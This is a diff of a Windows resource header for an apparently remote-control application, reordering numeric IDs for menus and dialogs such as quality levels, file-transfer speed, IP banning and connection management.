#define IDC_PLEVEL_QUALITY 2578
|
||||||
|
#define IDC_PLEVEL_RESET 2584
|
||||||
|
#define IDC_STATIC_SHARE_ADDRESS 2585
|
||||||
|
#define IDC_EDIT_SHARE_ADDRESS 2586
|
||||||
|
#define IDC_CHECK_USE_SHINE 2587
|
||||||
|
#define IDC_STATIC_SHARE_DAYS 2588
|
||||||
|
#define IDC_EDIT_SHARE_DAYS 2589
|
||||||
|
#define IDC_FSPEED_SLIDER 2590
|
||||||
|
#define IDC_FSPEED_LABEL 2591
|
||||||
|
#define IDC_FSPEED_RESET 2592
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL 2593
|
||||||
|
#define IDC_QLEVEL_LABEL_FPS 2594
|
||||||
|
#define IDC_QLEVEL_LABEL_WIDTH 2595
|
||||||
|
#define IDC_QLEVEL_LABEL_ALGO 2596
|
||||||
|
#define IDC_QLEVEL_LABEL_BITRATE 2597
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL0 2598
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL1 2599
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL2 2600
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL3 2601
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL4 2602
|
||||||
|
#define IDC_QLEVEL_LABEL_LEVEL5 2603
|
||||||
|
#define IDC_QLEVEL_LABEL_HINT 2604
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL 2605
|
||||||
|
#define IDC_PLEVEL_LABEL_WIDTH 2606
|
||||||
|
#define IDC_PLEVEL_LABEL_QUALITY 2607
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL0 2608
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL1 2609
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL2 2610
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL3 2611
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL4 2612
|
||||||
|
#define IDC_PLEVEL_LABEL_LEVEL5 2613
|
||||||
|
#define IDC_PLEVEL_LABEL_HINT 2614
|
||||||
|
#define IDC_FSPEED_HINT 2615
|
||||||
|
#define IDC_FSPEED_LABEL_SLOWEST 2616
|
||||||
|
#define IDC_FSPEED_LABEL_DEFAULT 2617
|
||||||
|
#define IDC_FSPEED_LABEL_UNLIMITED 2618
|
||||||
|
#define IDC_STATIC_TRIGGER_LIST 2619
|
||||||
|
#define IDC_COMBO_INSTALL_LOC 2620
|
||||||
|
#define IDD_QUALITY_LEVELS 3000
|
||||||
|
#define IDD_PREVIEW_LEVELS 3001
|
||||||
#define ID_ONLINE_UPDATE 32772
|
#define ID_ONLINE_UPDATE 32772
|
||||||
#define ID_ONLINE_MESSAGE 32773
|
#define ID_ONLINE_MESSAGE 32773
|
||||||
#define ID_ONLINE_DELETE 32775
|
#define ID_ONLINE_DELETE 32775
|
||||||
@@ -1006,24 +1053,8 @@
|
|||||||
#define ID_MSGLOG_CLEAR 33041
|
#define ID_MSGLOG_CLEAR 33041
|
||||||
#define ID_CANCEL_SHARE 33042
|
#define ID_CANCEL_SHARE 33042
|
||||||
#define ID_MSGLOG_COPY 33043
|
#define ID_MSGLOG_COPY 33043
|
||||||
#define ID_MSGLOG_SEARCH 33078
|
|
||||||
#define ID_MSGLOG_LOGIN_NOTIFY 33079
|
|
||||||
#define ID_MSGLOG_BAN_IP 33080
|
|
||||||
#define ID_MSGLOG_UNBAN_IP 33081
|
|
||||||
#define ID_MSGLOG_WHITELIST_IP 33096
|
|
||||||
#define ID_WEB_REMOTE_CONTROL 33044
|
#define ID_WEB_REMOTE_CONTROL 33044
|
||||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||||
#define ID_MCP_SETTINGS 33077
|
|
||||||
#define ID_TLS_CERTIFICATE 33093
|
|
||||||
#define ID_CONNECTION_MANAGE 33086
|
|
||||||
#define ID_CONNECTION_KILL 33087
|
|
||||||
#define ID_CONNECTION_REFRESH 33088
|
|
||||||
#define ID_TALK_MANAGE 33089
|
|
||||||
#define ID_EXPERIMENT_FILE_MANAGER 33090
|
|
||||||
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
|
|
||||||
#define ID_EXPERIMENT_DRAWING_BOARD 33092
|
|
||||||
#define ID_EXPERIMENT_TLS_ENABLE 33094
|
|
||||||
#define ID_EXPERIMENT_TLS_DISABLE 33095
|
|
||||||
#define ID_33046 33046
|
#define ID_33046 33046
|
||||||
#define ID_PROXY_PORT_AUTORUN 33047
|
#define ID_PROXY_PORT_AUTORUN 33047
|
||||||
#define ID_TRIGGER_SETTINGS 33048
|
#define ID_TRIGGER_SETTINGS 33048
|
||||||
@@ -1056,73 +1087,35 @@
|
|||||||
#define ID_ONLINE_CLIENT_LOG 33074
|
#define ID_ONLINE_CLIENT_LOG 33074
|
||||||
#define ID_ONLINE_33075 33075
|
#define ID_ONLINE_33075 33075
|
||||||
#define ID_ONLINE_FORBIDDEN 33076
|
#define ID_ONLINE_FORBIDDEN 33076
|
||||||
|
#define ID_MCP_SETTINGS 33077
|
||||||
|
#define ID_MSGLOG_SEARCH 33078
|
||||||
|
#define ID_MSGLOG_LOGIN_NOTIFY 33079
|
||||||
|
#define ID_MSGLOG_BAN_IP 33080
|
||||||
|
#define ID_MSGLOG_UNBAN_IP 33081
|
||||||
#define ID_ONLINE_HISTORY_ACTIVITY 33082
|
#define ID_ONLINE_HISTORY_ACTIVITY 33082
|
||||||
#define ID_EXIT_FULLSCREEN 40001
|
|
||||||
#define ID_TOOL_QUALITY_LEVELS 33083
|
#define ID_TOOL_QUALITY_LEVELS 33083
|
||||||
#define ID_TOOL_PREVIEW_LEVELS 33084
|
#define ID_TOOL_PREVIEW_LEVELS 33084
|
||||||
#define IDC_QLEVEL_FPS 2547
|
|
||||||
#define IDC_QLEVEL_WIDTH 2553
|
|
||||||
#define IDC_QLEVEL_ALGO 2559
|
|
||||||
#define IDC_QLEVEL_BITRATE 2565
|
|
||||||
#define IDC_QLEVEL_RESET 2571
|
|
||||||
#define IDC_PLEVEL_WIDTH 2572
|
|
||||||
#define IDC_PLEVEL_QUALITY 2578
|
|
||||||
#define IDC_PLEVEL_RESET 2584
|
|
||||||
|
|
||||||
#define IDD_DIALOG_SHARE_HOST 402
|
|
||||||
#define IDC_STATIC_SHARE_ADDRESS 2585
|
|
||||||
#define IDC_EDIT_SHARE_ADDRESS 2586
|
|
||||||
#define IDC_CHECK_USE_SHINE 2587
|
|
||||||
#define IDC_STATIC_SHARE_DAYS 2588
|
|
||||||
#define IDC_EDIT_SHARE_DAYS 2589
|
|
||||||
|
|
||||||
// 文件传输速度调节对话框
|
|
||||||
#define IDD_FILE_SPEED 403
|
|
||||||
#define ID_TOOL_FILE_SPEED 33085
|
#define ID_TOOL_FILE_SPEED 33085
|
||||||
#define IDC_FSPEED_SLIDER 2590
|
#define ID_CONNECTION_MANAGE 33086
|
||||||
#define IDC_FSPEED_LABEL 2591
|
#define ID_CONNECTION_KILL 33087
|
||||||
#define IDC_FSPEED_RESET 2592
|
#define ID_CONNECTION_REFRESH 33088
|
||||||
|
#define ID_TALK_MANAGE 33089
|
||||||
// 高级菜单三个对话框的静态文本(显式在 OnInitDialog 设置中文,修复非中文系统乱码)
|
#define ID_EXPERIMENT_FILE_MANAGER 33090
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL 2593
|
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
|
||||||
#define IDC_QLEVEL_LABEL_FPS 2594
|
#define ID_EXPERIMENT_DRAWING_BOARD 33092
|
||||||
#define IDC_QLEVEL_LABEL_WIDTH 2595
|
#define ID_TLS_CERTIFICATE 33093
|
||||||
#define IDC_QLEVEL_LABEL_ALGO 2596
|
#define ID_EXPERIMENT_TLS_ENABLE 33094
|
||||||
#define IDC_QLEVEL_LABEL_BITRATE 2597
|
#define ID_EXPERIMENT_TLS_DISABLE 33095
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL0 2598 // 2598~2603:Ultra..Minimal 六档
|
#define ID_MSGLOG_WHITELIST_IP 33096
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL1 2599
|
#define ID_EXIT_FULLSCREEN 40001
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL2 2600
|
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL3 2601
|
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL4 2602
|
|
||||||
#define IDC_QLEVEL_LABEL_LEVEL5 2603
|
|
||||||
#define IDC_QLEVEL_LABEL_HINT 2604
|
|
||||||
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL 2605
|
|
||||||
#define IDC_PLEVEL_LABEL_WIDTH 2606
|
|
||||||
#define IDC_PLEVEL_LABEL_QUALITY 2607
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL0 2608 // 2608~2613:Ultra..Minimal 六档
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL1 2609
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL2 2610
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL3 2611
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL4 2612
|
|
||||||
#define IDC_PLEVEL_LABEL_LEVEL5 2613
|
|
||||||
#define IDC_PLEVEL_LABEL_HINT 2614
|
|
||||||
|
|
||||||
#define IDC_FSPEED_HINT 2615
|
|
||||||
#define IDC_FSPEED_LABEL_SLOWEST 2616
|
|
||||||
#define IDC_FSPEED_LABEL_DEFAULT 2617
|
|
||||||
#define IDC_FSPEED_LABEL_UNLIMITED 2618
|
|
||||||
|
|
||||||
// 触发器设置对话框的分组框(显式在 OnInitDialog 设置中文,修复非中文系统乱码)
|
|
||||||
#define IDC_STATIC_TRIGGER_LIST 2619
|
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 412
|
#define _APS_NEXT_RESOURCE_VALUE 412
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33097
|
#define _APS_NEXT_COMMAND_VALUE 33097
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2620
|
#define _APS_NEXT_CONTROL_VALUE 2621
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
Reference in new issue
Block a user